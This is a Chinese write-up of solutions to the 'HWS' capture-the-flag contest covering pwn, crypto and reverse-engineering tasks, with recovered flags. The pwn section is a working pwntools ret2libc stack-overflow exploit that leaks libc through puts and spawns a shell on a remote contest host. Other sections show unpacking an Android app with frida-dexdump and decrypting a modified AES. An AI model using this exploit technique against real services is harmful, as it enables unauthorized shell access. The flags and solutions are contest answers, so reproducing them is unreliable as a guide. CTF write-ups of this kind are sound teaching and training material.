

HWS

pwn

inverse

栈溢出打 ret2libc

```
from pwn import *

elf = ELF('./pwn')
libc = ELF('./libc-2.27.so')

# sh = process(argv = [elf.path], env = {"LD_PRELOAD" : libc.path})
context(arch = "i386", os = "linux", log_level = "debug")

# sh = process(elf.path)
sh = remote("124.71.135.126", 30127)
# gdb.attach(sh)

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
puts_addr = libc.symbols['puts']
work = elf.symbols['work']
str_bin_sh = 0x17b9db
system_addr = 0x03cf10

sh.recvuntil("tag:")
sh.sendline("111")
sh.sendline("-1")

payload = b'a' * 0x3c + b'a' * 4 + p32(puts_plt) + p32(work) + p32(puts_got) +
p32(work)
sh.recvuntil("msg:")
sh.sendline(payload)

puts_cur_addr = u32(sh.recv()[0:4])
log.info("puts offset: " + hex(puts_addr))
log.info("puts_cur_addr addr: " + hex(puts_cur_addr))

base = puts_cur_addr - puts_addr
log.info("base addr: " + hex(base))

sh.sendline("-1")
payload = b'a' * 0x3c + b'a' * 4 + p32(base + system_addr) + p32(0) + p32(base +
str_bin_sh)
sh.recvuntil("msg:")
sh.sendline(payload)

sh.interactive()
```

```
# 5acc88c38cd748042111
```

crypto

ezrsa

[二次剩余](#), 直接套代码即可

```
from Crypto.Util.number import getPrime
# from secret import flag

# p = getPrime(512)
# print(p,pow(flag, 2, p))

p=412482079973710723630883700852439735510778695041476999618132433355695015420698
0059406402767327725312238673053581148641438494212320157665395208337575556385
c=131079395635074597746162041412537474892320633362041739441232632845076043288856
8007247866901696942836667381358004059204207134817952620014738665450753147857
def square_root_of_quadratic_residue(n, modulo):
    """Square root of quadratic residue

    Solve the square root of quadratic residue using Cipolla's algorithm with
    Legendre symbol
    Returns:
        int -- if n is a quadratic residue,
            return x, such that  $x^2 = n \pmod{\text{modulo}}$ 
            otherwise, return -1
    """
    if modulo == 2:
        return 1
    if n % modulo == 0:
        return 0
    Legendre = lambda n: pow(n, modulo - 1 >> 1, modulo)
    if Legendre(n) == modulo - 1:
        return -1
    t = 0
    while Legendre(t ** 2 - n) != modulo - 1:
        t += 1
    w = (t ** 2 - n) % modulo
    return (generate_quadratic_field(w, modulo)(t, 1) ** (modulo + 1 >> 1)).x

def generate_quadratic_field(d, modulo=0):
    """Generate quadratic field number class

    Returns:
        class -- quadratic field number class
    """
    assert (isinstance(modulo, int) and modulo >= 0)

    class QuadraticFieldNumber:
        def __init__(self, x, y):
            self.x = x % modulo
            self.y = y % modulo
```

```

def __mul__(self, another):
    x = self.x * another.x + d * self.y * another.y
    y = self.x * another.y + self.y * another.x
    return self.__class__(x, y)

def __pow__(self, exponent):
    result = self.__class__(1, 0)
    if exponent:
        temporary = self.__class__(self.x, self.y)
        while exponent:
            if exponent & 1:
                result *= temporary
            temporary *= temporary
            exponent >>= 1
        return result

def __str__(self):
    return '({}, {} \sqrt{{}})'.format(self.x, self.y, d)

return QuadraticFieldNumber

x=square_root_of_quadratic_residue(p,c)
print(x)
import libnum
print(libnum.b2s(bin(x)))

#
13040004482820526093820693618708125830699182230406913376202407698904962835203626
640653836925
# b'flag{9971e255f0c020e8e57fbae75f43d7fb}'

```

re

SEA

flag长度为26位，前10位通过简单异或计算可得

计算代码如下：

```

res = [0x70, 0x3b, 0x6c, 0x5b, 0x42, 0x6a, 0x7a, 0x5c, 0x43, 0x65, 0x15, 0xae,
0x9f, 0xee, 0x9e, 0xac, 0xef, 0x05, 0x28, 0xc2, 0x2c, 0xd1, 0xa0, 0x03, 0x08,
0x30]

res[0] = (res[0] ^ 0x16) - 0x21
res[1] = (res[1] + 0x12) ^ 0x19
res[2] = (res[2] ^ 0x16) - 0x21
res[3] = (res[3] + 0x12) ^ 0x19
res[4] = (res[4] ^ 0x16) - 0x21
res[5] = (res[5] + 0x12) ^ 0x19
res[6] = (res[6] ^ 0x16) - 0x21
res[7] = (res[7] + 0x12) ^ 0x19
res[8] = (res[8] ^ 0x16) - 0x21

```

```

res[9] = (res[9] + 0x12) ^ 0x19

for i in range(0, 10):
    print("%c" % res[i], end = "")
print("")

# ETYt3eKw4nmMPfByjAQiqhClDT

```

后16位为一个魔改AES加密。魔改点为魔改了sbox盒

通过字符串搜索推断，程序中使用的AES加密库应该来自[imshao/AES](https://github.com/imshao/AES)

题目中的sbox盒

```

0x18, 0x79, 0x28, 0xf9, 0x55, 0x99, 0x71, 0xd5, 0x1b, 0xec, 0xbb, 0xb0, 0x95, 0x6f, 0x94,
0x70, 0xa3, 0x53, 0x63, 0xad, 0x54, 0x7b, 0x37, 0x6e, 0xc1, 0xdb, 0xb1, 0xd7, 0x3d, 0x92,
0x4d, 0xd0, 0x14, 0x4c, 0xb7, 0x78, 0x62, 0xa0, 0x6a, 0x1a, 0xcd, 0x00, 0xf1, 0x7d, 0x5e,
0x1e, 0xf5, 0x8d, 0x11, 0x65, 0xa9, 0xe2, 0xf2, 0xb9, 0xca, 0x8c, 0xa1, 0xd2, 0x47, 0xab, 0x7c,
0x66, 0x52, 0xe4, 0x06, 0x77, 0x89, 0xc6, 0x7e, 0xb3, 0xae, 0xe6, 0xb4, 0x8b, 0xdf, 0x1d,
0x23, 0x17, 0xea, 0x3c, 0x90, 0xdc, 0x81, 0x32, 0xa5, 0xaf, 0x50, 0x20, 0x5d, 0x2d, 0x96,
0x42, 0x35, 0x2e, 0x0a, 0xbf, 0xed, 0x8e, 0x38, 0xba, 0x61, 0x0b, 0x85, 0x5b, 0x24, 0x6b,
0xf0, 0x21, 0x3f, 0xce, 0x2b, 0x22, 0xa8, 0xc5, 0xe1, 0x4a, 0x30, 0x74, 0xef, 0xcf, 0xa4, 0xd3,
0xc8, 0xd9, 0xeb, 0xfb, 0xa7, 0xbe, 0x3e, 0x41, 0xe0, 0xb5, 0x9f, 0xc0, 0xac, 0x93, 0x9e, 0xf8,
0xf7, 0x7f, 0xde, 0x3b, 0xda, 0x72, 0x88, 0x0d, 0x56, 0xe8, 0xe7, 0x8a, 0xf4, 0x91, 0x5a,
0x64, 0x19, 0x67, 0x57, 0xd8, 0x84, 0xfa, 0x0c, 0x25, 0x9b, 0xa2, 0x07, 0x15, 0x04, 0xc4,
0x87, 0x43, 0x97, 0xb8, 0x60, 0xe3, 0x45, 0xaa, 0x8f, 0x13, 0xfd, 0xcb, 0x2c, 0xa6, 0x1c, 0x3a,
0xee, 0x36, 0x7a, 0xe9, 0xd1, 0x09, 0x39, 0x4e, 0x33, 0xfe, 0x9a, 0x5c, 0x86, 0x6d, 0x16,
0x2f, 0xd4, 0xb2, 0x48, 0x82, 0x5f, 0x68, 0x29, 0x03, 0xc9, 0x02, 0x80, 0x44, 0x26, 0xbc, 0xff,
0x75, 0x9c, 0x46, 0x2a, 0x27, 0x4f, 0xc2, 0x9d, 0xf6, 0x01, 0x0f, 0x98, 0x40, 0x83, 0xf3, 0x31,
0xbd, 0x58, 0x4b, 0x05, 0xb6, 0xd6, 0x08, 0xc3, 0x49, 0x1f, 0x59, 0x10, 0xc7, 0xfc, 0x12,
0xe5, 0xcc, 0x51, 0xdd, 0x0e, 0x76, 0x69, 0x73, 0x6c, 0x34

```

计算出来的 inv_sbox

```

0x29, 0xe0, 0xd1, 0xcf, 0xa6, 0xea, 0x40, 0xa4, 0xed, 0xbd, 0x5e, 0x65, 0xa0, 0x91, 0xfa,
0xe1, 0xf2, 0x30, 0xf5, 0xb1, 0x20, 0xa5, 0xc6, 0x4d, 0x00, 0x9a, 0x27, 0x08, 0xb6, 0x4b,
0x2d, 0xf0, 0x57, 0x6b, 0x6f, 0x4c, 0x68, 0xa1, 0xd4, 0xdb, 0x02, 0xce, 0xda, 0x6e, 0xb4,
0x59, 0x5d, 0xc7, 0x74, 0xe6, 0x53, 0xc0, 0xff, 0x5c, 0xb9, 0x16, 0x62, 0xbe, 0xb7, 0x8d, 0x4f,
0x1c, 0x80, 0x6c, 0xe3, 0x81, 0x5b, 0xa9, 0xd3, 0xae, 0xd9, 0x3a, 0xca, 0xef, 0x73, 0xe9,
0x21, 0x1e, 0xbf, 0xdc, 0x56, 0xf8, 0x3e, 0x11, 0x14, 0x04, 0x92, 0x9c, 0xe8, 0xf1, 0x98, 0x67,
0xc3, 0x58, 0x2c, 0xcc, 0xac, 0x64, 0x24, 0x12, 0x99, 0x31, 0x3d, 0x9b, 0xcd, 0xfc, 0x26, 0x69,
0xfe, 0xc5, 0x17, 0x0d, 0x0f, 0x06, 0x8f, 0xfd, 0x75, 0xd7, 0xfb, 0x41, 0x23, 0x01, 0xba, 0x15,
0x3c, 0x2b, 0x44, 0x8b, 0xd2, 0x52, 0xcb, 0xe4, 0x9e, 0x66, 0xc4, 0xa8, 0x90, 0x42, 0x95,
0x49, 0x37, 0x2f, 0x61, 0xb0, 0x50, 0x97, 0x1d, 0x87, 0x0e, 0x0c, 0x5a, 0xaa, 0xe2, 0x05,
0xc2, 0xa2, 0xd8, 0xde, 0x88, 0x84, 0x25, 0x38, 0xa3, 0x10, 0x78, 0x54, 0xb5, 0x7e, 0x70,
0x32, 0xaf, 0x3b, 0x86, 0x13, 0x46, 0x55, 0x0b, 0x1a, 0xc9, 0x45, 0x48, 0x83, 0xeb, 0x22,
0xab, 0x35, 0x63, 0x0a, 0xd5, 0xe7, 0x7f, 0x5f, 0x85, 0x18, 0xdd, 0xee, 0xa7, 0x71, 0x43,
0xf3, 0x7a, 0xd0, 0x36, 0xb3, 0xf7, 0x28, 0x6d, 0x77, 0x1f, 0xbc, 0x39, 0x79, 0xc8, 0x07, 0xec,
0x1b, 0x9d, 0x7b, 0x8e, 0x19, 0x51, 0xf9, 0x8c, 0x4a, 0x82, 0x72, 0x33, 0xad, 0x3f, 0xf6, 0x47,
0x94, 0x93, 0xbb, 0x4e, 0x7c, 0x09, 0x60, 0xb8, 0x76, 0x6a, 0x2a, 0x34, 0xe5, 0x96, 0x2e,
0xdf, 0x8a, 0x89, 0x03, 0x9f, 0x7d, 0xf4, 0xb2, 0xc1, 0xd6

```

exp部分代码如下：

```

int main() {
    const uint8_t key[16] = {0x2b, 0x7e, 0x15, 0x16, 0x19, 0xae, 0xd2, 0xa6,
    0xab, 0xf7, 0x15, 0x88, 0x26, 0xcf, 0x4f, 0x3c};
    const uint8_t pt[16]={0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
    0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61};
    uint8_t ct[16] = {0x15, 0xae, 0x9f, 0xee, 0x9e, 0xac, 0xef, 0x05, 0x28,
    0xc2, 0x2c, 0xd1, 0xa0, 0x03, 0xee, 0xcd};
    uint8_t plain[16] = {0};
    printHex(ct, 16, "after encryption:");

    aesDecrypt(key, 16, ct, plain, 16);
    printHex(plain, 16, "after decryption:");
    for (int i = 0; i < 16; ++i){
        printf("%c", plain[i]);
    }
    return 0;
}

```

程序输出结果:

```

> ./AES
after encryption:
data[16]: 15 AE 9F EE 9E AC EF 05 28 C2 2C D1 A0 03 EE CD
after decryption:
data[16]: 6D 4D 50 66 42 79 6A 41 51 69 71 68 43 6C 44 54
mMPfByjAQiqhC1DT

```

mycar

qihoo 加固, 安装到模拟器使用frida-dexdump dump出dex

dump 命令 `frida-dexdump -U -f com.example.ncar`

关键加密代码

```

public NotificationsFragment() {
    this.isLogin = false;
}

@Override // androidx.fragment.app.Fragment
public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
    this.notificationsViewModel = (NotificationsViewModel)new ViewModelProvider(this).get(NotificationsViewModel.class);
    FragmentNotificationsBinding v0 = FragmentNotificationsBinding.inflate(inflater, container, false);
    this.binding = v0;
    MotionLayout v0_1 = v0.getRoot();
    TextView textView = this.binding.textView3;
    this.notificationsViewModel.getText().observe(this.getViewLifecycleOwner(), new Observer() {
        public void onChanged(String s) {
            textView.setText(s);
        }
    });
    ((Button)v0_1.findViewById(0x7f080057)).setOnClickListener(new View.OnClickListener() {
        @Override // android.view.View.OnClickListener
        public void onClick(View view) {
            EditText ipt_username = (EditText)v0_1.findViewById(0x7f080090);
            EditText ipt_password = (EditText)v0_1.findViewById(0x7f08008f);
            String v2 = ipt_username.getText().toString();
            String v3 = ipt_password.getText().toString();
            if(("Admin".equals(v2)) && ("u203p2v2f3y2937383n2q2p223v2n2r263p2r2z2n2w2p2a3t2n2u29323h3".equals(NotificationsFragment.trans(v3)))) {
                NotificationsFragment.this.isLogin = true;
                System.out.println("Login ok");
                Toast.makeText(NotificationsFragment.this.getContext(), "Login ok", 1).show();
                textView.setText("Login OK~");
                return;
            }
            NotificationsFragment.this.isLogin = false;
            Toast.makeText(NotificationsFragment.this.getContext(), "fail", 1).show();
            System.out.println("Login fail!!!!!!!!!!!!!!!!!!!!");
            textView.setText("Login fail!!!!!!!!!!!!!!!!!!!!");
        }
    });
    return v0_1;
}

@Override // androidx.fragment.app.Fragment

```

解题exp

```

table = "0123456789abcdefghijklmnopqrstuvwxyz"

cipher = "u203p2v2f3y2937383n2q2p223v2n2r263p2r2z2n2w2p2a3t2n2u29323h3"

flag = []

for i in range(0, len(cipher) // 2):
    sum = table.index(cipher[2 * i]) + table.index(cipher[2 * i + 1]) * 36
    flag.append(sum)

for i in flag:
    print(chr(i), end = "")

# flag{just_bang_crack_have_fun}

```

re

flag 形式为32位 uuid。

前13位简单异或计算可得

中间18位字母 14位可通过解base64获得。剩余4位进行爆破，直到匹配到完全相同的md5结果

最后一位为了触发除0异常可推断得到最后一个字母为0

exp如下

```

import base64
import hashlib

cipher1 = b'f43149`<="h!8'
plain = b""
for i in range(0, 13):
    if i % 2 == 1:
        plain += (cipher1[i] ^ (2 * i)).to_bytes(length=1, byteorder='big',
signed=True)
    else:
        plain += (cipher1[i] ^ (i)).to_bytes(length=1, byteorder='big',
signed=True)
plain2 = base64.b64decode("ZjQ3ODEzYzI2NTk0YzA=")

table = [b'0', b'1', b'2', b'3', b'4', b'5', b'6', b'7', b'8', b'9', b'a', b'b',
b'c', b'd', b'e', b'f']
for c1 in table:
    for c2 in table:
        for c3 in table:
            for c4 in table:
                curplain = plain2 + c1 + c2 + c3 + c4
                m = hashlib.md5()
                m.update(curplain)
                if m.hexdigest() == '3fbac491c4740226ec9238c20b6d27d3':
                    plain2 = curplain
plain += plain2 + b'0'
print(plain)

```

```
flag = b'flag{' + plain[0:8] + b'-' + plain[8:12] + b'-' + plain[12:16] + b'-' +  
plain[16:20] + b'-' + plain[20:] + b"}"
```

```
print(flag)
```

```
# '3FBAC491C4740226EC9238C20B6D27D3'
```

```
# b'f61703f250b74f47813c26594c0e5810'
```

```
# b'flag{f61703f2-50b7-4f47-813c-26594c0e5810}'
```